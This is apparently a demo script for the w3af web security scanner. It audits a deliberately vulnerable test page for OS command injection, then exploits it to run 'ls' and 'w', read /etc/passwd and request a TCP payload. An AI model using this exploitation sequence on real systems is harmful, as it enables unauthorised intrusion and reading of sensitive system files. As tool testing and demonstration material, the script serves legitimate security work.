os_commanding_shell.w3af

# This is the os_commanding demo:

plugins
output console,text_file
output config text_file
set output_file output-w3af.txt
set verbose True
back
output config console
set verbose False
back
back

plugins
audit os_commanding
back

target
set target http://moth/w3af/audit/os_commanding/simple_osc.php?cmd=fas
back
start



exploit
exploit os_commanding
interact 0

execute ls
execute w
read /etc/passwd
payload tcp

exit

exit